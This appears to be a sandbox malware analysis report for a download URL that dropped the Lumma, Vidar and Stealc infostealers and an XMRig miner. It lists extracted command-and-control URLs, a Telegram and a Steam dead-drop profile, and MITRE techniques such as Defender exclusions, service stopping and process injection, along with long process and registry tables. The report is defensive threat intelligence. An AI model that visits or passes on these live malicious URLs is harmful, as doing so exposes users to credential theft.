lumma | hxxps://ibf[.]tw/aaBGY

Analysis

max time kernel
940s
max time network
939s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
02-07-2024 14:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://ibf.tw/aaBGY

Score

10^/10

lumma stealc vidar xmrig discovery evasion execution miner persistence spyware stealer upx vmprotect

Malware Config

Extracted

Family

vidar

https://t.me/g067n

https://steamcommunity.com/profiles/76561199707802586

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0

Extracted

Family

lumma

https://potterryisiw.shop/api

https://foodypannyjsud.shop/api

https://contintnetksows.shop/api

https://reinforcedirectorywd.shop/api

Signatures

Detect Vidar Stealer 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral1/memory/5616-1947-0x0000000000200000-0x00000000007AD000-memory.dmp	family_vidar_v7
behavioral1/memory/5616-2025-0x0000000000200000-0x00000000007AD000-memory.dmp	family_vidar_v7

Lumma Stealer
An infostealer written in C++ first seen in August 2022.
stealer lumma
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 12 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/4540-2013-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/4540-2012-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/4540-2011-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/4540-2009-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/4540-2008-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/4540-2015-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/4540-2014-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/4540-2017-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/4540-2016-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/4540-5272-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/4540-5273-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/4540-5274-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

808 powershell.exe
4344 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Drops file in Drivers directory 2 IoCs

Processes:

Updater.exeUpdater.exe

description ioc process

File created C:\Windows\system32\drivers\etc\hosts Updater.exe
File created C:\Windows\system32\drivers\etc\hosts Updater.exe
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

pid	process
808	powershell.exe
4344	powershell.exe

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	Updater.exe
File created	C:\Windows\system32\drivers\etc\hosts	Updater.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Setup.exepolaris.exegwadr.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	Setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	polaris.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	gwadr.exe

Executes dropped EXE 23 IoCs

Processes:

winrar-x64-701.exewinrar-x64-701.exeSetup.exepolaris.exegwadr.exeUpdater.exeBFBAAF.exeBFBAAF.exeBFBAAF.exeBFBAAF.exeBFBAAF.exeBFBAAF.exeBFBAAF.exeBFBAAF.exeBFBAAF.exeBFBAAF.exeBFBAAF.exeUpdater.exeCBGCAF.exeCBGCAF.exeKFlauncher.exeKFlauncher.exeKFlauncher.exe

pid	process
6440	winrar-x64-701.exe
232	winrar-x64-701.exe
1324	Setup.exe
6988	polaris.exe
5616	gwadr.exe
7312	Updater.exe
6008	BFBAAF.exe
4824	BFBAAF.exe
5212	BFBAAF.exe
6180	BFBAAF.exe
7316	BFBAAF.exe
7332	BFBAAF.exe
5104	BFBAAF.exe
3276	BFBAAF.exe
3864	BFBAAF.exe
7864	BFBAAF.exe
7576	BFBAAF.exe
5208	Updater.exe
5052	CBGCAF.exe
1448	CBGCAF.exe
8188	KFlauncher.exe
4464	KFlauncher.exe
4876	KFlauncher.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 17 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/4540-2003-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2013-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2012-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2011-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2009-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2006-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2005-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2004-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2008-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2007-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2015-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2014-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2017-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-2016-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-5272-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-5273-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/4540-5274-0x0000000140000000-0x0000000140848000-memory.dmp	upx

VMProtect packed file 4 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral1/memory/7312-1927-0x00007FF7DD5D0000-0x00007FF7DE780000-memory.dmp	vmprotect
behavioral1/memory/5208-1963-0x00007FF7CB370000-0x00007FF7CC520000-memory.dmp	vmprotect
behavioral1/memory/1448-2021-0x0000000140000000-0x00000001411B0000-memory.dmp	vmprotect
behavioral1/memory/1448-2022-0x0000000140000000-0x00000001411B0000-memory.dmp	vmprotect

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service
T1102

Processes:

flow ioc

766 pastebin.com
767 pastebin.com
775 bitbucket.org
776 bitbucket.org
735 bitbucket.org
736 bitbucket.org
754 bitbucket.org
757 bitbucket.org
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

4772 powercfg.exe
1492 powercfg.exe
7036 powercfg.exe
5292 powercfg.exe
8160 powercfg.exe
2168 powercfg.exe
2812 powercfg.exe
4016 powercfg.exe

flow	ioc
766	pastebin.com
767	pastebin.com
775	bitbucket.org
776	bitbucket.org
735	bitbucket.org
736	bitbucket.org
754	bitbucket.org
757	bitbucket.org

pid	process
4772	powercfg.exe
1492	powercfg.exe
7036	powercfg.exe
5292	powercfg.exe
8160	powercfg.exe
2168	powercfg.exe
2812	powercfg.exe
4016	powercfg.exe

Drops file in System32 directory 4 IoCs

Processes:

Updater.exepowershell.exeUpdater.exe

description	ioc	process
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

gwadr.exe

pid process

5616 gwadr.exe
5616 gwadr.exe
5616 gwadr.exe
5616 gwadr.exe
5616 gwadr.exe

pid	process
5616	gwadr.exe
5616	gwadr.exe
5616	gwadr.exe
5616	gwadr.exe
5616	gwadr.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

Updater.exeCBGCAF.exeKFlauncher.exeKFlauncher.exeKFlauncher.exe

description	pid	process	target process
PID 5208 set thread context of 6224	5208	Updater.exe	conhost.exe
PID 5208 set thread context of 4540	5208	Updater.exe	explorer.exe
PID 5052 set thread context of 1448	5052	CBGCAF.exe	CBGCAF.exe
PID 8188 set thread context of 7244	8188	KFlauncher.exe	RegAsm.exe
PID 4464 set thread context of 6560	4464	KFlauncher.exe	RegAsm.exe
PID 4876 set thread context of 7628	4876	KFlauncher.exe	RegAsm.exe

Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4000 sc.exe
7404 sc.exe
1676 sc.exe
5548 sc.exe
4768 sc.exe
5052 sc.exe
6376 sc.exe
5824 sc.exe
8108 sc.exe
376 sc.exe
8012 sc.exe
7680 sc.exe
4524 sc.exe
5188 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

5248 8188 WerFault.exe KFlauncher.exe
2836 4464 WerFault.exe KFlauncher.exe
1000 4876 WerFault.exe KFlauncher.exe

pid	process
4000	sc.exe
7404	sc.exe
1676	sc.exe
5548	sc.exe
4768	sc.exe
5052	sc.exe
6376	sc.exe
5824	sc.exe
8108	sc.exe
376	sc.exe
8012	sc.exe
7680	sc.exe
4524	sc.exe
5188	sc.exe

pid	pid_target	process	target process
5248	8188	WerFault.exe	KFlauncher.exe
2836	4464	WerFault.exe	KFlauncher.exe
1000	4876	WerFault.exe	KFlauncher.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

gwadr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	gwadr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	gwadr.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

7880 timeout.exe

pid	process
7880	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 50 IoCs

Processes:

explorer.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe

Modifies registry class 3 IoCs

Processes:

msedge.exemsedge.exetaskmgr.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4124900551-4068476067-3491212533-1000\{02909F62-CCF4-4F7F-AF14-B6C736B50520}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	taskmgr.exe

NTFS ADS 1 IoCs

Processes:

msedge.exe

description ioc process

File opened for modification C:\Users\Admin\Downloads\Unconfirmed 699771.crdownload:SmartScreen msedge.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

4552 NOTEPAD.EXE

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 699771.crdownload:SmartScreen	msedge.exe

pid	process
4552	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msedge.exemsedge.exeidentity_helper.exemsedge.exemsedge.exemsedge.exemsedge.exegwadr.exeUpdater.exepowershell.exeUpdater.exepowershell.exeexplorer.exe

pid	process
3628	msedge.exe
3628	msedge.exe
684	msedge.exe
684	msedge.exe
3740	identity_helper.exe
3740	identity_helper.exe
6944	msedge.exe
6944	msedge.exe
7360	msedge.exe
7360	msedge.exe
7940	msedge.exe
7940	msedge.exe
6764	msedge.exe
6764	msedge.exe
6764	msedge.exe
6764	msedge.exe
5616	gwadr.exe
5616	gwadr.exe
5616	gwadr.exe
5616	gwadr.exe
5616	gwadr.exe
5616	gwadr.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
808	powershell.exe
808	powershell.exe
808	powershell.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
7312	Updater.exe
5208	Updater.exe
5208	Updater.exe
5208	Updater.exe
4344	powershell.exe
4344	powershell.exe
4344	powershell.exe
5208	Updater.exe
5208	Updater.exe
5208	Updater.exe
5208	Updater.exe
5208	Updater.exe
5208	Updater.exe
5208	Updater.exe
5208	Updater.exe
5208	Updater.exe
5208	Updater.exe
5208	Updater.exe
5208	Updater.exe
4540	explorer.exe
4540	explorer.exe
4540	explorer.exe
4540	explorer.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

7zFM.exetaskmgr.exe

pid process

7292 7zFM.exe
1348 taskmgr.exe

pid	process
7292	7zFM.exe
1348	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs

Processes:

msedge.exe

pid	process
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe

Suspicious use of AdjustPrivilegeToken 37 IoCs

Processes:

7zFM.exe7zG.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exeexplorer.exepowercfg.exepowercfg.exepowercfg.exeAUDIODG.EXEvssvc.exe7zG.exetaskmgr.exe

description	pid	process
Token: SeRestorePrivilege	7292	7zFM.exe
Token: 35	7292	7zFM.exe
Token: SeRestorePrivilege	7808	7zG.exe
Token: 35	7808	7zG.exe
Token: SeSecurityPrivilege	7808	7zG.exe
Token: SeSecurityPrivilege	7808	7zG.exe
Token: SeDebugPrivilege	808	powershell.exe
Token: SeShutdownPrivilege	1492	powercfg.exe
Token: SeCreatePagefilePrivilege	1492	powercfg.exe
Token: SeShutdownPrivilege	7036	powercfg.exe
Token: SeCreatePagefilePrivilege	7036	powercfg.exe
Token: SeShutdownPrivilege	8160	powercfg.exe
Token: SeCreatePagefilePrivilege	8160	powercfg.exe
Token: SeShutdownPrivilege	5292	powercfg.exe
Token: SeCreatePagefilePrivilege	5292	powercfg.exe
Token: SeDebugPrivilege	4344	powershell.exe
Token: SeShutdownPrivilege	4016	powercfg.exe
Token: SeCreatePagefilePrivilege	4016	powercfg.exe
Token: SeLockMemoryPrivilege	4540	explorer.exe
Token: SeShutdownPrivilege	4772	powercfg.exe
Token: SeCreatePagefilePrivilege	4772	powercfg.exe
Token: SeShutdownPrivilege	2812	powercfg.exe
Token: SeCreatePagefilePrivilege	2812	powercfg.exe
Token: SeShutdownPrivilege	2168	powercfg.exe
Token: SeCreatePagefilePrivilege	2168	powercfg.exe
Token: 33	7880	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	7880	AUDIODG.EXE
Token: SeBackupPrivilege	2008	vssvc.exe
Token: SeRestorePrivilege	2008	vssvc.exe
Token: SeAuditPrivilege	2008	vssvc.exe
Token: SeRestorePrivilege	4460	7zG.exe
Token: 35	4460	7zG.exe
Token: SeSecurityPrivilege	4460	7zG.exe
Token: SeSecurityPrivilege	4460	7zG.exe
Token: SeDebugPrivilege	1348	taskmgr.exe
Token: SeSystemProfilePrivilege	1348	taskmgr.exe
Token: SeCreateGlobalPrivilege	1348	taskmgr.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

msedge.exe

pid	process
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

msedge.exe

pid	process
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

winrar-x64-701.exewinrar-x64-701.exegwadr.exe

pid process

6440 winrar-x64-701.exe
6440 winrar-x64-701.exe
6440 winrar-x64-701.exe
232 winrar-x64-701.exe
232 winrar-x64-701.exe
232 winrar-x64-701.exe
5616 gwadr.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 684 wrote to memory of 3664	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3664	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
